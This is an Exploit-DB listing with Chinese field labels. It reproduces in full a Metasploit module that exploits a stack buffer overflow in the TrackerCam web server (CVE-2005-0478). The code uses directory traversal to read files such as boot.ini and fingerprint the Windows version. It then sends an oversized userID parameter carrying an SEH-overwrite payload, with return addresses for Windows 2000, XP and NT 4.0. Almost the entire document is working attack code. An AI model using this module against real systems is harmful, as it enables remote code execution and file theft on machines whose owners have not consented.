标题: TrackerCam - PHP Argument Buffer Overflow (Metasploit) EDB-ID: 16811 CVE: 2005-0478 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: trackercam_phparg_overflow.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'TrackerCam PHP Argument Buffer Overflow',
   'Description'    => %q{
     This module exploits a simple stack buffer overflow in the
    TrackerCam web server. All current versions of this software
    are vulnerable to a large number of security issues. This
    module abuses the directory traversal flaw to gain
    information about the system and then uses the PHP overflow
    to execute arbitrary code.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-0478'],
     [ 'OSVDB', '13953'],
     [ 'OSVDB', '13955'],
     [ 'BID', '12592'],
     [ 'URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 2048,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # EyeWD.exe has a null and we can not use a partial overwrite.
     # All of the loaded application DLLs have a null in the address,
     # except CPS.dll, which moves around between instances :-(

     ['Windows 2000 English',  { 'Ret' => 0x75022ac4 }], # ws2help.dll
     ['Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
     ['Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll

     # Windows XP SP2 and Windows 2003 are not supported yet :-/
    ],
   'DisclosureDate' => 'Feb 18 2005',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(8090)
   ], self.class)
 end

 def check
  res = send_request_raw({
   'uri'   => '/tuner/ComGetLogFile.php3',
   'query' => 'fn=../HTTPRoot/socket.php3'
  }, 5)

  if (res and res.body =~ /fsockopen/)
   fp = fingerprint()
   print_status("Detected a vulnerable TrackerCam installation on #{fp}")
   return Exploit::CheckCode::Confirmed
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  c = connect

  buf = rand_text_english(8192)
  seh = generate_seh_payload(target.ret)
  buf[257, seh.length] = seh

  print_status("Sending request...")
  res = send_request_raw({
   'uri'   => '/tuner/TunerGuide.php3',
   'query' => 'userID=' + buf
  }, 5)

  handler
 end

 def download(path)

  res = send_request_raw({
   'uri'   => '/tuner/ComGetLogFile.php3',
   'query' => 'fn=' + ("../" * 10) + path
  }, 5)

  return if !(res and res.body and res.body =~ /tuner\.css/ and res.body =~ /<pre>/)

  m = res.match(/<pre>(.*)<\/pre><\/body>/smi)
  return if not m
  return m[1]
 end

 def fingerprint

  res = download(rand_text_alphanumeric(12) + '.txt')
  return if not res

  m = res.match(/in <b>(.*)<\/b> on line/smi)
  return if not m

  path = m[1]

  print_status("TrackerCam installation path is #{path}")

  if (path !~ /^C/i)
   print_status("TrackerCam is not installed on the system drive, we can't fingerprint it")
   return
  end

  if (path !~ /Program Files/i)
   print_status("TrackerCam is installed in a non-standard location")
  end

  boot = download('boot.ini')
  return if not boot

  case boot
   when /Windows XP.*NoExecute/i
    return "Windows XP SP2+"
   when /Windows XP/
    return "Windows XP SP0-SP1"
   when /Windows.*2003/
    return "Windows 2003"
   when /Windows.*2000/
    return "Windows 2000"
   else
    return "Unknown OS/SP"
  end
 end

end URL: https://www.exploit-db.com/exploits/16811